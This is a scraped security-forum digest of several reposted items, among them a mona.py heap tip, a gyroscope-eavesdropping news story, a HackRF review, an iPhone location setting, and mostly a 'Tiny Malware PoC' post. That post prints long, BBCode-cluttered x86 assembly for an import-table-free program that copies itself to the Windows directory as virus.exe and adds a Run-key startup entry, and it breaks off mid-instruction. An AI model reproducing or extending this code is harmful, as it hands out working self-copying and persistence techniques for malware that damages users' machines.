Don’t close it at this point, but close the log file using the .logclose command. We can now use mona to parse the log file, find the objects that have been allocated and not freed, and perform a mona dumpobj on each of those objects. !py mona dl -f c:\allocs.txt The output will be written to dump_alloc_free.txt I hope you’ll enjoy these 2 new features. Stay safe & take care cheers -corelanc0d3r Sursa: https://www.corelan.be/index.php/2014/08/16/analyzing-heap-objects-with-mona-py/

[h=1]Hackers transform a smartphone gyroscope into an always-on microphone[/h]by Steve Dent | @Stevetdent | 2 days ago Apps that use your smartphone's microphone need to ask permission, but the motion sensors? No say-so needed. That might not sound like a big deal, but security researchers from Stanford University and defense firm Rafael have discovered a way to turn Android phone gyroscopes into crude microphones. They call their app " " and here's how it works: the tiny gyros in your phone that measure orientation do so using vibrating pressure plates. As it turns out, they can also pick up air vibrations from sounds, and many Android devices can do it in the 80 to 250 hertz range -- exactly the frequency of a human voice. By contrast, the iPhone's sensor only uses frequencies below 100Hz, and is therefore useless for tapping conversations. Though the researchers' system can only pick up the odd word or the speaker's gender, they said that voice recognition experts could no doubt make it work better. They'll be delivering a paper next week at the Usenix Security conference, but luckily, Google is already up on the research. "This early, academic work should allow us to provide defenses before there is any likelihood of real exploitation." Via: Wired.com Source: Stanford University

ARM: Introduction to ARM by David Thomas on 03 March 2012 Introduction The Introduction to ARM course aims to bring the reader up-to-speed on programming in ARM assembly language. Its goal is not to get you to write entire programs in ARM assembly language, but instead to give you enough knowledge to make judicious use of it. While you might never routinely come into contact with assembly language there are a number of reasons for delving down to the assembly level: You might want to improve the performance of speed-critical portions of your code, You might be debugging, trying to solve a problem which is not obvious from the source code alone, Or, you might just be curious. Limitations The course was written with application programmers in mind, rather than systems programmers. As such the content is geared towards the ‘user mode’ world. Vectors, exceptions, interrupt and processor modes are not presently discussed. Navigation Move between pages using the arrows at the bottom of the page. Begin reading here. Further Reading This is the first part of a two-part ARM training course, the second is called Efficient C for ARM and is available here. Link: ARM: Introduction to ARM: Start | DaveSpace

HackRF Initial Review The HackRF One is a new software defined radio that has recently been shipped out to Kickstarter funders. It is a transmit and receive capable SDR with 8-Bit ADC, 10 MHz to 6 GHz operating range and up to 20 MHz of bandwidth. It can now be preordered for $299 USD. We just received ours from backing the Kickstarter and here’s a brief review of the product. We didn’t do any quantitative testing and this is just a first impressions review. So far we’ve only tested receive on Windows SDR#. Unboxing Inside the box is the HackRF unit in a quality protective plastic casing, a telescopic antenna and a USB cable. We show an RTL-SDR next to the HackRF for size comparison. HackRF + Telescopic Antenna + USB Cable + Box (RTL-SDR Dongle Shown for Size Comparison) Back of the box HackRF Windows SDR# Installation Process Installation of the HackRF on Windows is very simple and is the same process as installing an RTL-SDR dongle. Assuming you have SDR# downloaded, simply plug in your HackRF into a USB port, open zadig in the SDR# folder, select the HackRF and click install driver. The HackRF is now ready to use with SDR#. Initial Receive Review We first tested the HackRF at its maximum bandwidth of 20 MHz in SDR#. Unfortunately at this sample rate the PC we used (Intel i5 750) could not keep up. The waterfall and audio were very choppy, even when the waterfall and spectrum analyser were turned off. After switching to the next lowest bandwidth of 16 MHz everything was fine. With the waterfall resolution set to 65536 the CPU usage was at around 45-50%. It is very nice to have such a wide bandwidth at your disposal. However, the drawback is that with such a wide bandwidth it is very difficult to find a narrowband signal on the waterfall if the frequency is unknown. This might make things difficult for people new to signal browsing. Also, since the bandwidth is so wide the waterfall resolution when zoomed in is very poor making it very difficult to see a clear signal structure, but this is more a problem with SDR# rather than the HackRF. The included antenna is good and made of a high quality build. There is a spring in the base of the antenna which may be an inductor, or may just be there for mechanical reasons. As the antenna screws directly into the HackRF body there is no place for a ground plane. The HackRF has no front end filtering (preselectors) so there are many images of strong signals that show up at multiples of the selected sample rate. Most wideband SDRs are like this but these images are also not helped by the low 8 bit ADC resolution. Image rejection and sensitivity could be improved by using your own preselector front end like many people have done with the RTL-SDR. Overall reception sensitivity seems to be very similar to the RTL-SDR. There are three gain settings available for the HackRF in SDR#. One is for the LNA Gain, one for VGA gain and the third is a check box for ‘Amp’. The LNA gain is the main gain that should be used and usually only a small amount of VGA gain is needed as VGA gain seems to just increase the noise the same amount as the signal. We’re not sure what ‘Amp’ is, but it seems to do something similar to ‘RTL AGC’ on the RTL-SDR. We checked the PPM offset against a known signal and found that the offset was -12 ppm, which was pretty good. Only about 1 ppm of thermal drift was seen throughout the operation of the HackRF. Overall the HackRF is a good product and is great for those who want the massive frequency range, wide bandwidth and transmit capability. But if you are interested in reception only and are looking for a wide bandwidth SDR upgrade to the RTL-SDR I would suggest waiting for the Airspy to be released. The advantage to the Airspy will be its 12-bit ADC and cheaper price. Airspy has entered production now and the first batch of 500 units should soon be available. Here are some example wide band signals received with the HackRF. HackRF Receiving the entire WFM band HackRF Receiving a DVB-T Signal HackRF Receiving in the GSM Band HackRF Possibly Receiving LTE? HackRF at 2.4 GHz – Must be WiFi? HackRF Receiving the entire AM Radio Band Here is another review by a YouTube user who focuses on HF reception HackRF One on Windows with SDR # Here is an older review comparing the specs of the HackRF against the BladeRF and USRP B200. Sursa: HackRF Initial Review - rtl-sdr.com

[h=1]Change This iPhone Setting To Stop Closed Apps From Tracking Your Location[/h] Foursquare users who play hooky from work to go see a movie may not “check in” for fear of colleagues seeing their whereabouts, but the app still knows they’re there. Last week, the Wall Street Journal confirmed an earlier report that Foursquare “tracks your every movement, even when the app is closed.” Foursquare is far from the only app doing this. On my phone there were 14 other apps passively tracking my location, including a theft recovery app that needs to know where the phone is in case it’s stolen from me. Other apps track users’ locations even when the app is not actively running to gather intelligence for better advertising and personalization. Android users have to force quit the application running in the background to avoid it. For iPhone users, the passive tracking relies on a feature called “Background App Refresh.” If you’re a Machead who doesn’t like the idea of closed apps being able to track you, you should make a change to your settings as this is on by default. Go to your settings. Ignore the privacy option. You can turn off “location services” for apps there, but to get to the passive tracking, head to the “General” area. Choose “Background App Refresh.” Turn it off entirely — which is good for battery life — or pick and choose the apps you trust not to abuse their “background power.” Those apps that passively track location have a little blue arrow next to them. Choose wisely. Sursa: Change This iPhone Setting To Stop Closed Apps From Tracking Your Location - Forbes

Pare sigur.

[h=3]Web-fu - the ultimate web hacking chrome extension[/h]Web-fu Is a web hacking tool focused on discovering and exploiting web vulnerabilitites. BROWSER INTEGRATION This tool has many advantages, the tool is a chrome extension and therefore if the browser can authenticate and access to the web application, the tool also can. The integration with chrome, makes a very comfortable and agile way of web-hacking, and you have all the application data loaded on the hacking tool, you don't need to copy the url, cookies, etc. to the tool, just right click and hack. The browser rendering engine is also used in this tool, to draw the html of the responses. FALSES POSITIVES When I coded this tool, I was obsessed with false positives, which is the main problem in all detection tools. I have implemented a gauss algorithm, to reduce the faslse positives automatically which works very very well, and save a lot of time to the pentester. Link: software security blog: Web-fu - the ultimate web hacking chrome extension

Tiny Malware PoC: Malware Without IAT, DATA OR Resource Section Submitted by siteadm on Wed, 08/13/2014 - 21:58 Have you ever wondered about having an EXE without any entry in IAT (Import Address Table) at all? Well, I knew that it's possible, but never saw an actual exe file without IAT entry. So I developed an application which is 1,536 bytes and still does basic annoying malware things. So to summarize, this tiny app: - Enumerates following APIs: Kernel32 GetProcAddress VirtualAlloc GetModuleFileNameA ExitProcess CopyFileA GetWindowsDirectoryA LoadLibraryA Advapi32 RegCreateKeyA RegSetKeyValueA RegCloseKey User32 MessageBoxA - Allocates 0x0B000 bytes in fixed memory location (0x0C000000) - Resolves and stores all DLL handles, API function addresses, strings and API call return values in this newly allocated memory page. - Copies itself to Windows directory under virus.exe name - Creates a startup key in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run called viri and points to virus.exe in %WINDIR% - Shows a MessageBox with "Infected!" string as title and text of message. - Terminates itself So this is basically what I did, but developing it and extending it is just a matter of time. Anyway, let's see the code: Beginning of file is just finding Kernel32 handle and offset of export table of Kernel32.dll [COLOR=#008000][[/COLOR]section[COLOR=#008000]][/COLOR] .[COLOR=#007788]text[/COLOR] BITS [COLOR=#0000dd]32[/COLOR] global _start _start[COLOR=#008080]:[/COLOR] xor ecx,ecx mov eax,[COLOR=#008000][[/COLOR]fs[COLOR=#008080]:[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x30[/COLOR][COLOR=#008000]][/COLOR] mov eax,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0xc[/COLOR][COLOR=#008000]][/COLOR] mov esi,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x14[/COLOR][COLOR=#008000]][/COLOR] lodsd xchg eax,esi lodsd mov ebx,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x10[/COLOR][COLOR=#008000]][/COLOR] mov edx,[COLOR=#008000][[/COLOR]ebx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x3c[/COLOR][COLOR=#008000]][/COLOR] add edx,ebx mov edx,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x78[/COLOR][COLOR=#008000]][/COLOR] add edx,ebx mov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x20[/COLOR][COLOR=#008000]][/COLOR] add esi,ebx xor ecx,ecx xor ecx,ecx mov eax,[COLOR=#008000][[/COLOR]fs[COLOR=#008080]:[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x30[/COLOR][COLOR=#008000]][/COLOR] mov eax,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0xc[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] PEB[COLOR=#000040]-[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]Ldr mov esi,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x14[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] PEB[COLOR=#000040]-[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]Ldr.[COLOR=#007788]InMemOrder[/COLOR] lodsd [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] Second module xchg eax,esi [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] ESI, ESI [COLOR=#000080]=[/COLOR] EAX lodsd [COLOR=#008080];[/COLOR] EAX [COLOR=#000080]=[/COLOR] Third [COLOR=#008000]([/COLOR]kernel32[COLOR=#008000])[/COLOR] mov ebx,[COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x10[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EBX [COLOR=#000080]=[/COLOR] Base address mov edx,[COLOR=#008000][[/COLOR]ebx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x3c[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] DOS[COLOR=#000040]-[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]e_lfanew add edx,ebx [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] PE Header mov edx,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x78[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] Offset export table add edx,ebx [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] Export table mov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x20[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Offset names table add esi,ebx [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Names table xor ecx,ecx [COLOR=#008080];[/COLOR] EXC [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]0[/COLOR] tryagain[COLOR=#008080]:[/COLOR] inc ecx [COLOR=#008080];[/COLOR] Loop [COLOR=#0000ff]for[/COLOR] each function lodsd add eax,ebx [COLOR=#008080];[/COLOR] Loop untill function name cmp dword [COLOR=#008000][[/COLOR]eax[COLOR=#008000]][/COLOR],[COLOR=#208080]0x50746547[/COLOR] [COLOR=#008080];[/COLOR] GetP jnz tryagain cmp dword [COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x4[/COLOR][COLOR=#008000]][/COLOR],[COLOR=#208080]0x41636f72[/COLOR] [COLOR=#008080];[/COLOR] rocA jnz tryagain cmp dword [COLOR=#008000][[/COLOR]eax[COLOR=#000040]+[/COLOR][COLOR=#208080]0x8[/COLOR][COLOR=#008000]][/COLOR],[COLOR=#208080]0x65726464[/COLOR] [COLOR=#008080];[/COLOR] ddre jnz tryagain mov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x24[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Offset ordinals add esi,ebx [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Ordinals table mov cx,[COLOR=#008000][[/COLOR]esi[COLOR=#000040]+[/COLOR]ecx[COLOR=#000040]*[/COLOR][COLOR=#0000dd]2[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] CX [COLOR=#000080]=[/COLOR] Number of function dec ecx mov esi,[COLOR=#008000][[/COLOR]edx[COLOR=#000040]+[/COLOR][COLOR=#208080]0x1c[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Offset address table add esi,ebx [COLOR=#008080];[/COLOR] ESI [COLOR=#000080]=[/COLOR] Address table mov edx,[COLOR=#008000][[/COLOR]esi[COLOR=#000040]+[/COLOR]ecx[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] Pointer[COLOR=#008000]([/COLOR]offset[COLOR=#008000])[/COLOR] add edx,ebx [COLOR=#008080];[/COLOR] EDX [COLOR=#000080]=[/COLOR] GetProcAddress As first step, we try to find VirtualAlloc API address: xor ecx,ecx [COLOR=#008080];[/COLOR] ECX [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]0[/COLOR] PUSH [COLOR=#0000dd]0[/COLOR] push ebx [COLOR=#008080];[/COLOR] Kernel32 base address push edx [COLOR=#008080];[/COLOR] GetProcAddress push ecx [COLOR=#008080];[/COLOR] [COLOR=#0000dd]0[/COLOR] push [COLOR=#0000dd]0[/COLOR] push [COLOR=#208080]0x636f6c6c[/COLOR] push [COLOR=#208080]0x416c6175[/COLOR] push [COLOR=#208080]0x74726956[/COLOR] [COLOR=#008080];[/COLOR] VirtualAlloc push esp push ebx [COLOR=#008080];[/COLOR] Kernel32 base address call edx [COLOR=#008080];[/COLOR] GetProcAddress[COLOR=#008000]([/COLOR]LL[COLOR=#008000])[/COLOR] PUSH eax As you can see the pushing string into stack and calling PUSH ESP does the trick, so as I needed to do this so often, I wrote a small Python code to generate this type of assembly instruction for a given String: import sys [COLOR=#0000ff]if[/COLOR] len[COLOR=#008000]([/COLOR]sys.[COLOR=#007788]argv[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]&[/COLOR]lt[COLOR=#008080];[/COLOR] [COLOR=#0000dd]2[/COLOR][COLOR=#008080]:[/COLOR] print [COLOR=#FF0000]"Please provide a string argument"[/COLOR] [COLOR=#0000dd]exit[/COLOR] APIName [COLOR=#000080]=[/COLOR] sys.[COLOR=#007788]argv[/COLOR][COLOR=#008000][[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#0000ff]if[/COLOR] len[COLOR=#008000]([/COLOR]APIName[COLOR=#008000])[/COLOR] [COLOR=#000040]%[/COLOR] [COLOR=#0000dd]4[/COLOR] [COLOR=#000040]![/COLOR][COLOR=#000080]=[/COLOR] [COLOR=#0000dd]0[/COLOR][COLOR=#008080]:[/COLOR] APIName [COLOR=#000080]=[/COLOR] APIName.[COLOR=#007788]ljust[/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000]([/COLOR]len[COLOR=#008000]([/COLOR]APIName[COLOR=#008000])[/COLOR][COLOR=#000040]/[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000])[/COLOR][COLOR=#000040]+[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000])[/COLOR][COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR], [COLOR=#FF0000]'[COLOR=#006699][B]\0[/B][/COLOR]'[/COLOR][COLOR=#008000])[/COLOR] print [COLOR=#FF0000]"push 0"[/COLOR] [COLOR=#0000ff]for[/COLOR] i in range[COLOR=#008000]([/COLOR][COLOR=#0000dd]1[/COLOR], [COLOR=#008000]([/COLOR][COLOR=#008000]([/COLOR]len[COLOR=#008000]([/COLOR]APIName[COLOR=#008000])[/COLOR] [COLOR=#000040]/[/COLOR] [COLOR=#0000dd]4[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080]:[/COLOR] print [COLOR=#FF0000]"push "[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#FF0000]"0x"[/COLOR][COLOR=#000040]+[/COLOR][COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#0000dd]3[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#0000dd]2[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#0000dd]1[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#FF0000]"{0:02x}"[/COLOR].[COLOR=#007788]format[/COLOR][COLOR=#008000]([/COLOR]ord[COLOR=#008000]([/COLOR]APIName[COLOR=#008000][[/COLOR][COLOR=#000040]-[/COLOR][COLOR=#008000]([/COLOR]i[COLOR=#000040]*[/COLOR][COLOR=#0000dd]4[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000]][/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR] print [COLOR=#FF0000]"push esp ;"[/COLOR] [COLOR=#000040]+[/COLOR] APIName You can simply run this Python script with a string as parameter and it produces required ASM instruction for pushing given string into stack, example call and output: C[COLOR=#008080]:[/COLOR]\[COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR]APINameToASM.[COLOR=#007788]py[/COLOR] user32.[COLOR=#007788]dll[/COLOR] push [COLOR=#0000dd]0[/COLOR] push [COLOR=#208080]0x00006c6c[/COLOR] push [COLOR=#208080]0x642e3233[/COLOR] push [COLOR=#208080]0x72657375[/COLOR] push esp [COLOR=#008080];[/COLOR]user32.[COLOR=#007788]dll[/COLOR] Now we allocate a fixed size, fixed location memory page to store all strings and resolved API pointers: PUSH [COLOR=#208080]0x40[/COLOR] [COLOR=#008080];[/COLOR] DWORD flProtect [COLOR=#000080]=[/COLOR] PAGE_EXECUTE_READWRITE PUSH [COLOR=#208080]0x3000[/COLOR][COLOR=#008080];[/COLOR] DWORD flAllocationType [COLOR=#000080]=[/COLOR] MEM_COMMIT [COLOR=#000040]|[/COLOR] MEM_RESERVE PUSH [COLOR=#208080]0x0B000[/COLOR][COLOR=#008080];[/COLOR] SIZE_T dwSize PUSH [COLOR=#208080]0x0C000000[/COLOR] [COLOR=#008080];[/COLOR] LPVOID lpAddress CALL EAX [COLOR=#008080];[/COLOR] call VirtualAlloc From now on, we store all resolved API pointers in 0x0c000000 address. Whole table after running application will look like this: [COLOR=#208080]0x0c000000[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Kernel32 handle [COLOR=#208080]0x0C000004[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] GetProcAddress pointer [COLOR=#208080]0x0C000008[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] VirtualAlloc pointer [COLOR=#208080]0x0C00000C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] GetModuleFileNameA pointer [COLOR=#208080]0x0C000010[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] ExitProcess pointer [COLOR=#208080]0x0C000014[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] CopyFileA pointer [COLOR=#208080]0x0C000018[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] GetWindowsDirectoryA pointer [COLOR=#208080]0x0C00001C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] LoadLibraryA pointer [COLOR=#008080];[/COLOR] space [COLOR=#0000ff]for[/COLOR] [COLOR=#0000dd]40[/COLOR] kernel32 function address [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]40[/COLOR] x [COLOR=#0000dd]4[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]160[/COLOR] in decimal [COLOR=#008000]([/COLOR][COLOR=#208080]0xA0[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#008080];[/COLOR] [COLOR=#208080]0xA0[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#208080]0x04[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#208080]0xA4[/COLOR] beginning of Advapi [COLOR=#208080]0x0C0000A4[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Advapi32 handle [COLOR=#208080]0x0C0000A8[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] RegCreateKeyA pointer [COLOR=#208080]0x0C0000AC[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] RegSetKeyValueA pointer [COLOR=#208080]0x0C000060[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] RegCloseKey pointer [COLOR=#008080];[/COLOR] space [COLOR=#0000ff]for[/COLOR] [COLOR=#0000dd]40[/COLOR] user32.[COLOR=#007788]dll[/COLOR] function address [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]40[/COLOR] x [COLOR=#0000dd]4[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#0000dd]160[/COLOR] in decimal [COLOR=#008000]([/COLOR][COLOR=#208080]0xA0[/COLOR][COLOR=#008000])[/COLOR] [COLOR=#008080];[/COLOR] [COLOR=#208080]0xA4[/COLOR] [COLOR=#000040]+[/COLOR] [COLOR=#208080]0xA4[/COLOR] [COLOR=#000080]=[/COLOR] [COLOR=#208080]0x148[/COLOR] beginning of User32 [COLOR=#208080]0x0C000148[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] User32 handle [COLOR=#208080]0x0C00014C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] MessageBoxA pointer Also I used same memory page to store strings, for example: [COLOR=#208080]0x0C00AEF0[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Current EXE file path [COLOR=#008000]([/COLOR]returned by GetModuleFileName API[COLOR=#008000])[/COLOR] [COLOR=#208080]0x0C00ADEC[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] Windows Directory path [COLOR=#008000]([/COLOR]returned by GetWindowsDirectory API[COLOR=#008000])[/COLOR] [COLOR=#208080]0x0C00ADE5[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] [COLOR=#FF0000]"viri"[/COLOR] string [COLOR=#008000]([/COLOR]registry value name[COLOR=#008000])[/COLOR] [COLOR=#208080]0x0C00AB8C[/COLOR] [COLOR=#000080]=[/COLOR][COLOR=#000040]&[/COLOR]gt[COLOR=#008080];[/COLOR] [COLOR=#FF0000]"Infected!"[/COLOR] string Also I created 3 functions to resolve API pointers easier: EnumKernelAPI[COLOR=#008080]:[/COLOR] POP EBP [COLOR=#008080];[/COLOR] ret addr MOV ECX, [COLOR=#208080]0x0C000000[/COLOR] PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] kernel32 handle call dword [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x04[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] getprocaddress MOV ECX, [COLOR=#208080]0x0C000000[/COLOR] PUSH EBP retn EnumAdvapiAPI[COLOR=#008080]:[/COLOR] POP EBP [COLOR=#008080];[/COLOR] ret addr MOV ECX, [COLOR=#208080]0x0C000000[/COLOR] PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0xA4[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] advapi32 handle call dword [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x04[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] getprocaddress MOV ECX, [COLOR=#208080]0x0C000000[/COLOR] PUSH EBP retn EnumUserAPI[COLOR=#008080]:[/COLOR] POP EBP [COLOR=#008080];[/COLOR] ret addr MOV ECX, [COLOR=#208080]0x0C000000[/COLOR] PUSH DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x148[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] user32 handle call dword [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x04[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] getprocaddress MOV ECX, [COLOR=#208080]0x0C000000[/COLOR] PUSH EBP retn Also you need to call ExitProcess to prevent crashing, so: TerminateProcess[COLOR=#008080]:[/COLOR] PUSH [COLOR=#0000dd]0[/COLOR][COLOR=#008080];[/COLOR] dwExitCode MOV ECX, [COLOR=#208080]0x0C000000[/COLOR] CALL DWORD [COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x10[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] call ExitProcess is necessary. After resolving APIs, calling them is really easy, for example: MOV ECX, [COLOR=#208080]0x0C000000[/COLOR] push [COLOR=#0000dd]1[/COLOR] [COLOR=#008080];[/COLOR] bFailIfExists [COLOR=#000080]=[/COLOR] [COLOR=#0000ff]false[/COLOR] push [COLOR=#208080]0xC00ADEC[/COLOR] [COLOR=#008080];[/COLOR] [COLOR=#000040]%[/COLOR]WINDIR[COLOR=#000040]%[/COLOR]\Virus.[COLOR=#007788]exe[/COLOR] push [COLOR=#208080]0x0C00AEF0[/COLOR] [COLOR=#008080];[/COLOR] Current EXE path call dword[COLOR=#008000][[/COLOR]ECX[COLOR=#000040]+[/COLOR][COLOR=#208080]0x14[/COLOR][COLOR=#008000]][/COLOR] [COLOR=#008080];[/COLOR] CopyFileA Result: Another call: mov ecx, [COLOR=#208080]0xC00ADAC[/COLOR][COLOR=#008080];[/COLOR] location of subkey mov dword[COLOR=#008000][[/COLOR]ecx[COLOR=#000040]+[/COLOR][COLOR=#0000dd]44[/COLOR][COLOR=#008000]][/COLOR], [COLOR=#208080]0x0000006e[/COLOR] mov 